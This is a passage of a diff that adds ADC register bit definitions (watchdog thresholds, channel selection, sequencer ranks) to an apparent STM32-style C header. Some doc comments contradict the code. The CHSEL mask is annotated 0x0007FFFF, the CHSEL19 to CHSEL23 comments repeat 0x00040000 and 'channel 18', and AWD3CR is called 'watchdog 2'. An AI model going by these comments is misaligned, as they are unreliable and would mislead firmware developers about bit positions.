(0x00800UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD2CR_AWD2CH_12 (0x01000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD2CR_AWD2CH_13 (0x02000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD2CR_AWD2CH_14 (0x04000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD2CR_AWD2CH_15 (0x08000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD2CR_AWD2CH_16 (0x10000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD2CR_AWD2CH_17 (0x20000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD2CR_AWD2CH_18 (0x40000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD2CR_AWD2CH_19 (0x80000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00080000 */ +#define ADC_AWD2CR_AWD2CH_20 (0x100000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00100000 */ +#define ADC_AWD2CR_AWD2CH_21 (0x200000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00200000 */ +#define ADC_AWD2CR_AWD2CH_22 (0x400000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00400000 */ +#define ADC_AWD2CR_AWD2CH_23 (0x800000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00800000 */ + +/******************** Bit definition for ADC_AWD1TR register *******************/ +#define ADC_AWD1TR_LT1_Pos (0UL) +#define ADC_AWD1TR_LT1_Msk (0xFFFUL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000FFF */ +#define ADC_AWD1TR_LT1 ADC_AWD1TR_LT1_Msk /*!< ADC analog watchdog 1 threshold low */ +#define ADC_AWD1TR_LT1_0 (0x001UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000001 */ +#define ADC_AWD1TR_LT1_1 (0x002UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000002 */ +#define ADC_AWD1TR_LT1_2 (0x004UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000004 */ +#define ADC_AWD1TR_LT1_3 (0x008UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000008 */ +#define ADC_AWD1TR_LT1_4 (0x010UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000010 */ +#define ADC_AWD1TR_LT1_5 (0x020UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000020 */ +#define ADC_AWD1TR_LT1_6 (0x040UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000040 */ +#define ADC_AWD1TR_LT1_7 (0x080UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000080 */ +#define ADC_AWD1TR_LT1_8 (0x100UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000100 */ +#define ADC_AWD1TR_LT1_9 (0x200UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000200 */ +#define ADC_AWD1TR_LT1_10 (0x400UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000400 */ +#define ADC_AWD1TR_LT1_11 (0x800UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000800 */ + +#define ADC_AWD1TR_HT1_Pos (16UL) +#define ADC_AWD1TR_HT1_Msk (0xFFFUL << ADC_AWD1TR_HT1_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD1TR_HT1 ADC_AWD1TR_HT1_Msk /*!< ADC Analog watchdog 1 threshold high */ +#define ADC_AWD1TR_HT1_0 (0x001UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00010000 */ +#define ADC_AWD1TR_HT1_1 (0x002UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00020000 */ +#define ADC_AWD1TR_HT1_2 (0x004UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00040000 */ +#define ADC_AWD1TR_HT1_3 (0x008UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00080000 */ +#define ADC_AWD1TR_HT1_4 (0x010UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00100000 */ +#define ADC_AWD1TR_HT1_5 (0x020UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00200000 */ +#define ADC_AWD1TR_HT1_6 (0x040UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00400000 */ +#define ADC_AWD1TR_HT1_7 (0x080UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00800000 */ +#define ADC_AWD1TR_HT1_8 (0x100UL << ADC_AWD1TR_HT1_Pos) /*!< 0x01000000 */ +#define ADC_AWD1TR_HT1_9 (0x200UL << ADC_AWD1TR_HT1_Pos) /*!< 0x02000000 */ +#define ADC_AWD1TR_HT1_10 (0x400UL << ADC_AWD1TR_HT1_Pos) /*!< 0x04000000 */ +#define ADC_AWD1TR_HT1_11 (0x800UL << ADC_AWD1TR_HT1_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_AWDTR2 register *******************/ +#define ADC_AWD2TR_LT2_Pos (0UL) +#define ADC_AWD2TR_LT2_Msk (0xFFFUL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000FFF */ +#define ADC_AWD2TR_LT2 ADC_AWD2TR_LT2_Msk /*!< ADC analog watchdog 2 threshold low */ +#define ADC_AWD2TR_LT2_0 (0x001UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000001 */ +#define ADC_AWD2TR_LT2_1 (0x002UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000002 */ +#define ADC_AWD2TR_LT2_2 (0x004UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000004 */ +#define ADC_AWD2TR_LT2_3 (0x008UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000008 */ +#define ADC_AWD2TR_LT2_4 (0x010UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000010 */ +#define ADC_AWD2TR_LT2_5 (0x020UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000020 */ +#define ADC_AWD2TR_LT2_6 (0x040UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000040 */ +#define ADC_AWD2TR_LT2_7 (0x080UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000080 */ +#define ADC_AWD2TR_LT2_8 (0x100UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000100 */ +#define ADC_AWD2TR_LT2_9 (0x200UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000200 */ +#define ADC_AWD2TR_LT2_10 (0x400UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000400 */ +#define ADC_AWD2TR_LT2_11 (0x800UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000800 */ + +#define ADC_AWD2TR_HT2_Pos (16UL) +#define ADC_AWD2TR_HT2_Msk (0xFFFUL << ADC_AWD2TR_HT2_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD2TR_HT2 ADC_AWD2TR_HT2_Msk /*!< ADC analog watchdog 2 threshold high */ +#define ADC_AWD2TR_HT2_0 (0x001UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00010000 */ +#define ADC_AWD2TR_HT2_1 (0x002UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00020000 */ +#define ADC_AWD2TR_HT2_2 (0x004UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00040000 */ +#define ADC_AWD2TR_HT2_3 (0x008UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00080000 */ +#define ADC_AWD2TR_HT2_4 (0x010UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00100000 */ +#define ADC_AWD2TR_HT2_5 (0x020UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00200000 */ +#define ADC_AWD2TR_HT2_6 (0x040UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00400000 */ +#define ADC_AWD2TR_HT2_7 (0x080UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00800000 */ +#define ADC_AWD2TR_HT2_8 (0x100UL << ADC_AWD2TR_HT2_Pos) /*!< 0x01000000 */ +#define ADC_AWD2TR_HT2_9 (0x200UL << ADC_AWD2TR_HT2_Pos) /*!< 0x02000000 */ +#define ADC_AWD2TR_HT2_10 (0x400UL << ADC_AWD2TR_HT2_Pos) /*!< 0x04000000 */ +#define ADC_AWD2TR_HT2_11 (0x800UL << ADC_AWD2TR_HT2_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_CHSELR register ****************/ +#define ADC_CHSELR_CHSEL_Pos (0UL) +#define ADC_CHSELR_CHSEL_Msk (0xFFFFFFUL << ADC_CHSELR_CHSEL_Pos) /*!< 0x0007FFFF */ +#define ADC_CHSELR_CHSEL ADC_CHSELR_CHSEL_Msk /*!< ADC group regular sequencer channels, available when ADC_CFGR1_CHSELRMOD is reset */ + +#define ADC_CHSELR_CHSEL0_Pos (0UL) +#define ADC_CHSELR_CHSEL0_Msk (0x1UL << ADC_CHSELR_CHSEL0_Pos) /*!< 0x00000001 */ +#define ADC_CHSELR_CHSEL0 ADC_CHSELR_CHSEL0_Msk /*!< ADC group regular sequencer channel 0, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL1_Pos (1UL) +#define ADC_CHSELR_CHSEL1_Msk (0x1UL << ADC_CHSELR_CHSEL1_Pos) /*!< 0x00000002 */ +#define ADC_CHSELR_CHSEL1 ADC_CHSELR_CHSEL1_Msk /*!< ADC group regular sequencer channel 1, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL2_Pos (2UL) +#define ADC_CHSELR_CHSEL2_Msk (0x1UL << ADC_CHSELR_CHSEL2_Pos) /*!< 0x00000004 */ +#define ADC_CHSELR_CHSEL2 ADC_CHSELR_CHSEL2_Msk /*!< ADC group regular sequencer channel 2, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL3_Pos (3UL) +#define ADC_CHSELR_CHSEL3_Msk (0x1UL << ADC_CHSELR_CHSEL3_Pos) /*!< 0x00000008 */ +#define ADC_CHSELR_CHSEL3 ADC_CHSELR_CHSEL3_Msk /*!< ADC group regular sequencer channel 3, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL4_Pos (4UL) +#define ADC_CHSELR_CHSEL4_Msk (0x1UL << ADC_CHSELR_CHSEL4_Pos) /*!< 0x00000010 */ +#define ADC_CHSELR_CHSEL4 ADC_CHSELR_CHSEL4_Msk /*!< ADC group regular sequencer channel 4, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL5_Pos (5UL) +#define ADC_CHSELR_CHSEL5_Msk (0x1UL << ADC_CHSELR_CHSEL5_Pos) /*!< 0x00000020 */ +#define ADC_CHSELR_CHSEL5 ADC_CHSELR_CHSEL5_Msk /*!< ADC group regular sequencer channel 5, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL6_Pos (6UL) +#define ADC_CHSELR_CHSEL6_Msk (0x1UL << ADC_CHSELR_CHSEL6_Pos) /*!< 0x00000040 */ +#define ADC_CHSELR_CHSEL6 ADC_CHSELR_CHSEL6_Msk /*!< ADC group regular sequencer channel 6, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL7_Pos (7UL) +#define ADC_CHSELR_CHSEL7_Msk (0x1UL << ADC_CHSELR_CHSEL7_Pos) /*!< 0x00000080 */ +#define ADC_CHSELR_CHSEL7 ADC_CHSELR_CHSEL7_Msk /*!< ADC group regular sequencer channel 7, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL8_Pos (8UL) +#define ADC_CHSELR_CHSEL8_Msk (0x1UL << ADC_CHSELR_CHSEL8_Pos) /*!< 0x00000100 */ +#define ADC_CHSELR_CHSEL8 ADC_CHSELR_CHSEL8_Msk /*!< ADC group regular sequencer channel 8, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL9_Pos (9UL) +#define ADC_CHSELR_CHSEL9_Msk (0x1UL << ADC_CHSELR_CHSEL9_Pos) /*!< 0x00000200 */ +#define ADC_CHSELR_CHSEL9 ADC_CHSELR_CHSEL9_Msk /*!< ADC group regular sequencer channel 9, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL10_Pos (10UL) +#define ADC_CHSELR_CHSEL10_Msk (0x1UL << ADC_CHSELR_CHSEL10_Pos) /*!< 0x00000400 */ +#define ADC_CHSELR_CHSEL10 ADC_CHSELR_CHSEL10_Msk /*!< ADC group regular sequencer channel 10, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL11_Pos (11UL) +#define ADC_CHSELR_CHSEL11_Msk (0x1UL << ADC_CHSELR_CHSEL11_Pos) /*!< 0x00000800 */ +#define ADC_CHSELR_CHSEL11 ADC_CHSELR_CHSEL11_Msk /*!< ADC group regular sequencer channel 11, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL12_Pos (12UL) +#define ADC_CHSELR_CHSEL12_Msk (0x1UL << ADC_CHSELR_CHSEL12_Pos) /*!< 0x00001000 */ +#define ADC_CHSELR_CHSEL12 ADC_CHSELR_CHSEL12_Msk /*!< ADC group regular sequencer channel 12, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL13_Pos (13UL) +#define ADC_CHSELR_CHSEL13_Msk (0x1UL << ADC_CHSELR_CHSEL13_Pos) /*!< 0x00002000 */ +#define ADC_CHSELR_CHSEL13 ADC_CHSELR_CHSEL13_Msk /*!< ADC group regular sequencer channel 13, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL14_Pos (14UL) +#define ADC_CHSELR_CHSEL14_Msk (0x1UL << ADC_CHSELR_CHSEL14_Pos) /*!< 0x00004000 */ +#define ADC_CHSELR_CHSEL14 ADC_CHSELR_CHSEL14_Msk /*!< ADC group regular sequencer channel 14, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL15_Pos (15UL) +#define ADC_CHSELR_CHSEL15_Msk (0x1UL << ADC_CHSELR_CHSEL15_Pos) /*!< 0x00008000 */ +#define ADC_CHSELR_CHSEL15 ADC_CHSELR_CHSEL15_Msk /*!< ADC group regular sequencer channel 15, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL16_Pos (16UL) +#define ADC_CHSELR_CHSEL16_Msk (0x1UL << ADC_CHSELR_CHSEL16_Pos) /*!< 0x00010000 */ +#define ADC_CHSELR_CHSEL16 ADC_CHSELR_CHSEL16_Msk /*!< ADC group regular sequencer channel 16, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL17_Pos (17UL) +#define ADC_CHSELR_CHSEL17_Msk (0x1UL << ADC_CHSELR_CHSEL17_Pos) /*!< 0x00020000 */ +#define ADC_CHSELR_CHSEL17 ADC_CHSELR_CHSEL17_Msk /*!< ADC group regular sequencer channel 17, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL18_Pos (18UL) +#define ADC_CHSELR_CHSEL18_Msk (0x1UL << ADC_CHSELR_CHSEL18_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL18 ADC_CHSELR_CHSEL18_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL19_Pos (19UL) +#define ADC_CHSELR_CHSEL19_Msk (0x1UL << ADC_CHSELR_CHSEL19_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL19 ADC_CHSELR_CHSEL19_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL20_Pos (20UL) +#define ADC_CHSELR_CHSEL20_Msk (0x1UL << ADC_CHSELR_CHSEL20_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL20 ADC_CHSELR_CHSEL20_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL21_Pos (21UL) +#define ADC_CHSELR_CHSEL21_Msk (0x1UL << ADC_CHSELR_CHSEL21_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL21 ADC_CHSELR_CHSEL21_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL22_Pos (22UL) +#define ADC_CHSELR_CHSEL22_Msk (0x1UL << ADC_CHSELR_CHSEL22_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL22 ADC_CHSELR_CHSEL22_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL23_Pos (23UL) +#define ADC_CHSELR_CHSEL23_Msk (0x1UL << ADC_CHSELR_CHSEL23_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL23 ADC_CHSELR_CHSEL23_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ + +#define ADC_CHSELR_SQ_ALL_Pos (0UL) +#define ADC_CHSELR_SQ_ALL_Msk (0xFFFFFFFFUL << ADC_CHSELR_SQ_ALL_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CHSELR_SQ_ALL ADC_CHSELR_SQ_ALL_Msk /*!< ADC group regular sequencer all ranks, available when ADC_CFGR1_CHSELRMOD is set */ + +#define ADC_CHSELR_SQ1_Pos (0UL) +#define ADC_CHSELR_SQ1_Msk (0xFUL << ADC_CHSELR_SQ1_Pos) /*!< 0x0000000F */ +#define ADC_CHSELR_SQ1 ADC_CHSELR_SQ1_Msk /*!< ADC group regular sequencer rank 1, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ1_0 (0x1UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000001 */ +#define ADC_CHSELR_SQ1_1 (0x2UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000002 */ +#define ADC_CHSELR_SQ1_2 (0x4UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000004 */ +#define ADC_CHSELR_SQ1_3 (0x8UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000008 */ + +#define ADC_CHSELR_SQ2_Pos (4UL) +#define ADC_CHSELR_SQ2_Msk (0xFUL << ADC_CHSELR_SQ2_Pos) /*!< 0x000000F0 */ +#define ADC_CHSELR_SQ2 ADC_CHSELR_SQ2_Msk /*!< ADC group regular sequencer rank 2, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ2_0 (0x1UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000010 */ +#define ADC_CHSELR_SQ2_1 (0x2UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000020 */ +#define ADC_CHSELR_SQ2_2 (0x4UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000040 */ +#define ADC_CHSELR_SQ2_3 (0x8UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000080 */ + +#define ADC_CHSELR_SQ3_Pos (8UL) +#define ADC_CHSELR_SQ3_Msk (0xFUL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000F00 */ +#define ADC_CHSELR_SQ3 ADC_CHSELR_SQ3_Msk /*!< ADC group regular sequencer rank 3, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ3_0 (0x1UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000100 */ +#define ADC_CHSELR_SQ3_1 (0x2UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000200 */ +#define ADC_CHSELR_SQ3_2 (0x4UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000400 */ +#define ADC_CHSELR_SQ3_3 (0x8UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000800 */ + +#define ADC_CHSELR_SQ4_Pos (12UL) +#define ADC_CHSELR_SQ4_Msk (0xFUL << ADC_CHSELR_SQ4_Pos) /*!< 0x0000F000 */ +#define ADC_CHSELR_SQ4 ADC_CHSELR_SQ4_Msk /*!< ADC group regular sequencer rank 4, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ4_0 (0x1UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00001000 */ +#define ADC_CHSELR_SQ4_1 (0x2UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00002000 */ +#define ADC_CHSELR_SQ4_2 (0x4UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00004000 */ +#define ADC_CHSELR_SQ4_3 (0x8UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00008000 */ + +#define ADC_CHSELR_SQ5_Pos (16UL) +#define ADC_CHSELR_SQ5_Msk (0xFUL << ADC_CHSELR_SQ5_Pos) /*!< 0x000F0000 */ +#define ADC_CHSELR_SQ5 ADC_CHSELR_SQ5_Msk /*!< ADC group regular sequencer rank 5, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ5_0 (0x1UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00010000 */ +#define ADC_CHSELR_SQ5_1 (0x2UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00020000 */ +#define ADC_CHSELR_SQ5_2 (0x4UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_SQ5_3 (0x8UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00080000 */ + +#define ADC_CHSELR_SQ6_Pos (20UL) +#define ADC_CHSELR_SQ6_Msk (0xFUL << ADC_CHSELR_SQ6_Pos) /*!< 0x00F00000 */ +#define ADC_CHSELR_SQ6 ADC_CHSELR_SQ6_Msk /*!< ADC group regular sequencer rank 6, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ6_0 (0x1UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00100000 */ +#define ADC_CHSELR_SQ6_1 (0x2UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00200000 */ +#define ADC_CHSELR_SQ6_2 (0x4UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00400000 */ +#define ADC_CHSELR_SQ6_3 (0x8UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00800000 */ + +#define ADC_CHSELR_SQ7_Pos (24UL) +#define ADC_CHSELR_SQ7_Msk (0xFUL << ADC_CHSELR_SQ7_Pos) /*!< 0x0F000000 */ +#define ADC_CHSELR_SQ7 ADC_CHSELR_SQ7_Msk /*!< ADC group regular sequencer rank 7, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ7_0 (0x1UL << ADC_CHSELR_SQ7_Pos) /*!< 0x01000000 */ +#define ADC_CHSELR_SQ7_1 (0x2UL << ADC_CHSELR_SQ7_Pos) /*!< 0x02000000 */ +#define ADC_CHSELR_SQ7_2 (0x4UL << ADC_CHSELR_SQ7_Pos) /*!< 0x04000000 */ +#define ADC_CHSELR_SQ7_3 (0x8UL << ADC_CHSELR_SQ7_Pos) /*!< 0x08000000 */ + +#define ADC_CHSELR_SQ8_Pos (28UL) +#define ADC_CHSELR_SQ8_Msk (0xFUL << ADC_CHSELR_SQ8_Pos) /*!< 0xF0000000 */ +#define ADC_CHSELR_SQ8 ADC_CHSELR_SQ8_Msk /*!< ADC group regular sequencer rank 8, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ8_0 (0x1UL << ADC_CHSELR_SQ8_Pos) /*!< 0x10000000 */ +#define ADC_CHSELR_SQ8_1 (0x2UL << ADC_CHSELR_SQ8_Pos) /*!< 0x20000000 */ +#define ADC_CHSELR_SQ8_2 (0x4UL << ADC_CHSELR_SQ8_Pos) /*!< 0x40000000 */ +#define ADC_CHSELR_SQ8_3 (0x8UL << ADC_CHSELR_SQ8_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_AWD3TR register *******************/ +#define ADC_AWD3TR_LT3_Pos (0UL) +#define ADC_AWD3TR_LT3_Msk (0xFFFUL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000FFF */ +#define ADC_AWD3TR_LT3 ADC_AWD3TR_LT3_Msk /*!< ADC analog watchdog 3 threshold low */ +#define ADC_AWD3TR_LT3_0 (0x001UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000001 */ +#define ADC_AWD3TR_LT3_1 (0x002UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000002 */ +#define ADC_AWD3TR_LT3_2 (0x004UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000004 */ +#define ADC_AWD3TR_LT3_3 (0x008UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000008 */ +#define ADC_AWD3TR_LT3_4 (0x010UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000010 */ +#define ADC_AWD3TR_LT3_5 (0x020UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000020 */ +#define ADC_AWD3TR_LT3_6 (0x040UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000040 */ +#define ADC_AWD3TR_LT3_7 (0x080UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000080 */ +#define ADC_AWD3TR_LT3_8 (0x100UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000100 */ +#define ADC_AWD3TR_LT3_9 (0x200UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000200 */ +#define ADC_AWD3TR_LT3_10 (0x400UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000400 */ +#define ADC_AWD3TR_LT3_11 (0x800UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000800 */ + +#define ADC_AWD3TR_HT3_Pos (16UL) +#define ADC_AWD3TR_HT3_Msk (0xFFFUL << ADC_AWD3TR_HT3_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD3TR_HT3 ADC_AWD3TR_HT3_Msk /*!< ADC analog watchdog 3 threshold high */ +#define ADC_AWD3TR_HT3_0 (0x001UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00010000 */ +#define ADC_AWD3TR_HT3_1 (0x002UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00020000 */ +#define ADC_AWD3TR_HT3_2 (0x004UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00040000 */ +#define ADC_AWD3TR_HT3_3 (0x008UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00080000 */ +#define ADC_AWD3TR_HT3_4 (0x010UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00100000 */ +#define ADC_AWD3TR_HT3_5 (0x020UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00200000 */ +#define ADC_AWD3TR_HT3_6 (0x040UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00400000 */ +#define ADC_AWD3TR_HT3_7 (0x080UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00800000 */ +#define ADC_AWD3TR_HT3_8 (0x100UL << ADC_AWD3TR_HT3_Pos) /*!< 0x01000000 */ +#define ADC_AWD3TR_HT3_9 (0x200UL << ADC_AWD3TR_HT3_Pos) /*!< 0x02000000 */ +#define ADC_AWD3TR_HT3_10 (0x400UL << ADC_AWD3TR_HT3_Pos) /*!< 0x04000000 */ +#define ADC_AWD3TR_HT3_11 (0x800UL << ADC_AWD3TR_HT3_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_AWD3CR register ********************/ +#define ADC_AWD3CR_AWD3CH_Pos (0UL) +#define ADC_AWD3CR_AWD3CH_Msk (0xFFFFFFUL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00FFFFFF */ +#define ADC_AWD3CR_AWD3CH ADC_AWD3CR_AWD3CH_Msk /*!< ADC Analog watchdog 2 channel selection */ +#define ADC_AWD3CR_AWD3CH_0 (0x00001UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD3CR_AWD3CH_1 (0x00002UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD3CR_AWD3CH_2 (0x00004UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD3CR_AWD3CH_3 (0x00008UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD3CR_AWD3CH_4 (0x00010UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD3CR_AWD3CH_5 (0x00020UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD3CR_AWD3CH_6 (0x00040UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD3CR_AWD3CH_7 (0x00080UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD3CR_AWD3CH_8 (0x00100UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD3CR_AWD3CH_9 (0x00200UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD3CR_AWD3CH_10 (0x00400UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD3CR_AWD3CH_11 (0x00800UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD3CR_AWD3CH_12 (0x01000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD3CR_AWD3CH_13 (0x02000UL << 